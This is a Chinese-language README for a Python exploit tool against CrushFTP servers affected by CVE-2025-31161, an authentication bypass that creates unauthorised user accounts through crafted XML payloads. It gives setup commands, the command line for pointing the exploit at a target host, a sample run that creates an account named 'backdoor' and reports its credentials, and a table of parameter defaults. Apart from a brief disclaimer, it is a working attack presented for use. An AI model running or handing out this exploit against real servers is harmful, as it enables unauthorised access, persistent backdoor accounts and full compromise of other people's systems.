
这个 Python 利用工具针对存在 CVE-2025-31161 漏洞的 CrushFTP 服务器。该漏洞允许通过向 WebInterface 发送特制的 XML 负载来创建未经过身份验证的用户账户,可能导致服务器完全沦陷。
此工具仅用于教育和授权安全测试。
未经授权对你不拥有或未获明确许可的系统进行使用是非法且不道德的。
requestscoloramaDebian/Ubuntu:
sudo apt update
sudo apt install python3 python3-pip -y
CentOS/RHEL:
sudo yum install python3 python3-pip -y
macOS(使用 Homebrew):
brew install python3
pip3 install requests colorama
python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]
python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!
[+] Preparing Payloads
[-] Warming up the target...
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully!
[+] Exploit Complete! You can now login with:
[*] Username: AuthBypassAccount
[*] Password: CorrectHorseBatteryStaple
Gaurav Bhattacharjee (G4UR4V007)
| 参数 | 描述 | 默认值 |
|---|
--target_host | (必需) 目标的 IP 或域名 | — |
--port | CrushFTP WebInterface 端口 | 8080 |
--target_user | 管理员用户名(用于负载中) | crushadmin |
--new_user | 新建未授权账户的用户名 | AuthBypassAccount |
--password | 新用户的密码 | CorrectHorseBatteryStaple |